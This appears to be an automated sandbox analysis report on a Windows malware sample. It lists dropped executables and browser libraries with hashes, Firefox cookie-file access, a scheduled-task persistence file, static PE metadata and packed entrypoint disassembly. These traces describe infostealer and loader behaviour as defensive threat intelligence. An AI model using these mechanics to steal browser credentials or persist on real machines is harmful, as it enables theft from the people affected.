SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\amadka[1].exe

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1917952
Entropy (8bit):	7.951560330241988
Encrypted:	false
SSDEEP:	49152:SJmE5ef6zHQmekmX9sJwHKVwqmKZUAH2/RTal:eaf6wmeftsFRW
MD5:	6EE133F9B425C62CD31A1CFB62BB5318
SHA1:	B7E53C277D33799B39F8EE81D7C5F6B069AA0679
SHA-256:	26F950D32BD68DF875CD990874DAC49467F6C97E0F35D3D81DD66BA5EEFB06BD
SHA-512:	66EA8E175046F823708C57B1B42004A644B74384A92370C17CA2E03F5B270A720D485465313AA4D89B2B16110C14441DA8A717295A46A56565BDBC7EFC3186C6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJXr>.Xr>.Xr>...=.Vr>...;..r>...:.Jr>...=.Nr>...;.-r>...:.Lr>...?.Kr>.Xr?..r>...7.Yr>.....Yr>...<.Yr>.RichXr>.........................PE..L...WYPf..............................K...........@...........................L.....2.....@.................................V...j....p........................K...............................K..................................................... . .`..........................@....rsrc........p......................@....idata ............................@... ..+.........................@...kcajosdi.0....1..0..................@...tlivgrwy......K.....................@....taggant.0....K.."..."..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2499584
Entropy (8bit):	7.9819579433020085
Encrypted:	false
SSDEEP:	49152:5HmY1/knFQRH/4T8UKISY63pSazNvz6gbu6eBKi2sBObajRAONCd:bGFQRH7UKISY65xzl6gbgBKi2jbqm
MD5:	05F33536753FEF7FFF85E5AB55E94639
SHA1:	4872B0716AE0CD52ED104EFD0CD8DFEF27A3643C
SHA-256:	1FAF4438B7FA41021C86F99383802BFAC0C072F5ADEEA3B8A4CA63B8CAAD066F
SHA-512:	DEAFE098DECF4E3F59C81A17AF9A60EA44D49E6050A6840CB74DF3FEC2A9D6E0FB8843F598DB8475C4F2D52CBF8F8B43BA6A6757125BA6F764838AB4FF1DD9D0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L.....uf......................!..................@......................................@... .. .... .. .......... 0.......=...............................0..........................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@............@y...#..(..................@....data.....!.......!..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2499584
Entropy (8bit):	7.9819579433020085
Encrypted:	false
SSDEEP:	49152:5HmY1/knFQRH/4T8UKISY63pSazNvz6gbu6eBKi2sBObajRAONCd:bGFQRH7UKISY65xzl6gbgBKi2jbqm
MD5:	05F33536753FEF7FFF85E5AB55E94639
SHA1:	4872B0716AE0CD52ED104EFD0CD8DFEF27A3643C
SHA-256:	1FAF4438B7FA41021C86F99383802BFAC0C072F5ADEEA3B8A4CA63B8CAAD066F
SHA-512:	DEAFE098DECF4E3F59C81A17AF9A60EA44D49E6050A6840CB74DF3FEC2A9D6E0FB8843F598DB8475C4F2D52CBF8F8B43BA6A6757125BA6F764838AB4FF1DD9D0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L.....uf......................!..................@......................................@... .. .... .. .......... 0.......=...............................0..........................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@............@y...#..(..................@....data.....!.......!..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1917952
Entropy (8bit):	7.951560330241988
Encrypted:	false
SSDEEP:	49152:SJmE5ef6zHQmekmX9sJwHKVwqmKZUAH2/RTal:eaf6wmeftsFRW
MD5:	6EE133F9B425C62CD31A1CFB62BB5318
SHA1:	B7E53C277D33799B39F8EE81D7C5F6B069AA0679
SHA-256:	26F950D32BD68DF875CD990874DAC49467F6C97E0F35D3D81DD66BA5EEFB06BD
SHA-512:	66EA8E175046F823708C57B1B42004A644B74384A92370C17CA2E03F5B270A720D485465313AA4D89B2B16110C14441DA8A717295A46A56565BDBC7EFC3186C6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJXr>.Xr>.Xr>...=.Vr>...;..r>...:.Jr>...=.Nr>...;.-r>...:.Lr>...?.Kr>.Xr?..r>...7.Yr>.....Yr>...<.Yr>.RichXr>.........................PE..L...WYPf..............................K...........@...........................L.....2.....@.................................V...j....p........................K...............................K..................................................... . .`..........................@....rsrc........p......................@....idata ............................@... ..+.........................@...kcajosdi.0....1..0..................@...tlivgrwy......K.....................@....taggant.0....K.."..."..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1917952
Entropy (8bit):	7.951560330241988
Encrypted:	false
SSDEEP:	49152:SJmE5ef6zHQmekmX9sJwHKVwqmKZUAH2/RTal:eaf6wmeftsFRW
MD5:	6EE133F9B425C62CD31A1CFB62BB5318
SHA1:	B7E53C277D33799B39F8EE81D7C5F6B069AA0679
SHA-256:	26F950D32BD68DF875CD990874DAC49467F6C97E0F35D3D81DD66BA5EEFB06BD
SHA-512:	66EA8E175046F823708C57B1B42004A644B74384A92370C17CA2E03F5B270A720D485465313AA4D89B2B16110C14441DA8A717295A46A56565BDBC7EFC3186C6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJXr>.Xr>.Xr>...=.Vr>...;..r>...:.Jr>...=.Nr>...;.-r>...:.Lr>...?.Kr>.Xr?..r>...7.Yr>.....Yr>...<.Yr>.RichXr>.........................PE..L...WYPf..............................K...........@...........................L.....2.....@.................................V...j....p........................K...............................K..................................................... . .`..........................@....rsrc........p......................@....idata ............................@... ..+.........................@...kcajosdi.0....1..0..................@...tlivgrwy......K.....................@....taggant.0....K.."..."..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\explortu.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.444695088195699
Encrypted:	false
SSDEEP:	6:5N+DZXaXUEZ+lX1DIQMlmlm6tE9+AQy0lfldt0:5IlaQ1MQM8Q9+nVLt0
MD5:	1F174A3F901B6993E5C4829DE5288A5F
SHA1:	8E48D71ACB3DE82111F238A926B5543E825F46FD
SHA-256:	B509AA42AAA8C131D1431E55352EDBDBEAF9F29AB359EFA4081CCA7846551DE7
SHA-512:	DE01EA7622E1461355B61A68489A8A2F86536D8CACBEE86B4BB46E57665E5C31F02CDFE683B579E6769F6CD8B71D0B48D5E73C2897F401D2CEDD122C6E611ACA
Malicious:	false
Preview:	........pL.N..\8.k.F.......<... .....s.......... ....................=.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.9.2.1.7.0.3.7.d.c.9.\.e.x.p.l.o.r.t.u...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465921603672333
Encrypted:	false
SSDEEP:	6144:yzZfpi6ceLPx9skLmb0fBZWSP3aJG8nAgeiJRMMhA2zX4WABluuNLjDH5S:UZHtBZWOKnMM6bFpZj4
MD5:	571DF9391DA1F87D10A180E2EE808AF3
SHA1:	0960D38E691FDD45A22C9F173727674BA511D47D
SHA-256:	43C5AA998D28C97BA5696EDEAFEB6C01F3FAF803EA622C4D6208F7F32B89F1B4
SHA-512:	131C8EA873233E1D59C25B4BC138EA2B03AC037B1DB18AC4B956D90C005D8EAD37DACCDFB6F397E32F934654897F6A73160BF58C8CED75AC57BB19B030594426
Malicious:	false
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..c..................................................................................................................................................................................................................................................................................................................................................W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.988158823218303
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	EZrw1nNIpG.exe
File size:	2'535'424 bytes
MD5:	e3cbb274e66e95a1b7ee5c05d87abbd5
SHA1:	93d96f3d0b6e5d13242c88af9dc9648cbc60fd0b
SHA256:	e6c76393ad6b5516ed6e84adbd0687f981bf3c419e99d9c235a6948e63d383d4
SHA512:	8fe240992730512b3647140cdc14ee37a94c4b3154b787460bd1a30d99053e48d2e5fb20ac6342b0ec2a36c998d78df22d9f81ee9e49cd303ad8b6ea51757c76
SSDEEP:	49152:RKDGF/PBHX6rO5BbkxcCEPYYgFxCD57RxIxBbAVHPEQgVMoyPDK:RKqF/PlX6r0lk74YZFxgnxIDbGbgVMou
TLSH:	F0C5334456D0E7C7CC4CC4BCBCBA405E9F4CA97AD5A16888AC303C5B29197E45FBA2B7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xff574c
Entrypoint Section:	.data
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6675FA89 [Fri Jun 21 22:11:21 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	001806c33a6e9fe5fbff34bdbd79b591

Entrypoint Preview

Instruction
jmp 00007F742C9862EAh
add byte ptr [esp+eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-18h], ah
add byte ptr [eax], al
add byte ptr [eax], al
pop ebp
sub ebp, 00000010h
sub ebp, 00BF574Ch
jmp 00007F742C9862E9h
insb
xor ebp, edi
or eax, BF574CB8h
add byte ptr [ebx], al
lds eax, fword ptr [ecx+00004CC0h]
add byte ptr [ecx+000005C8h], bh
mov edx, B97C5FAAh
xor byte ptr [eax], dl
inc eax
dec ecx
jne 00007F742C9862DCh
jmp 00007F742C9862E9h
mov eax, dword ptr [ecx+67216C7Ch]
and dword ptr [ebx], esp
xchg eax, esi
stosb
stosb
stosb
sub ebp, dword ptr [ebx+52h]
stosb
stosb
stosb
test eax, AAAE1267h
stosb
stosb
adc byte ptr [edx+5DAAAAAAh], al
dec eax
test eax, A62B2162h
stosb
stosb
stosb
test eax, CE27FA6Fh
mov ss, word ptr [esi+23h]
scasb
mov es, dx
test eax, 6CC2AA88h
stc
aaa
stosb
stosd
xchg byte ptr [esi+185A2DC2h], cl
xlatb
inc edx
scasd
stosb
stosb
stosb
inc ebx
sub byte ptr [edx+27FFAAAAh], FFFFFFC6h
mov gs, word ptr [edx-555DD0DFh]
stosb
stosb
and dword ptr [edi], edi
cmpsb
stosb
stosb
stosb
and dword ptr [edi], esp
mov edx, 6BAAAAAAh
inc ebx
test al, 9Bh
test al, 29h
push 2FA5E3AEh
pop esi
push ebp
push ebp
push ebp
imul dword ptr [eax-5Ah]
stosb
and dword ptr [esi], esp
mov gs, word ptr [esi+00000000h]

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x9d2020	0xdf8	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9d2e18	0x20c	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9d2000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x1b000	0xa400	23e91885b8690f1deda702e44c109f93	False	0.9994998094512195	data	7.995804911352308	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x1c000	0x8000	0x4000	237cfa76ad86c2a76040ab47c6a62a53	False	0.99383544921875	data	7.978361575135612	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24000	0x213000	0x400	e7907ef6ad203f8d26022f803c3f04b8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x237000	0x5000	0x2000	5ba11ad54acd3d61e905ef3fcebe4c25	False	0.9896240234375	data	7.950738565954194	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x23c000	0x793000	0x32800	9edbab92765602055a13599ccf2a5eac	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
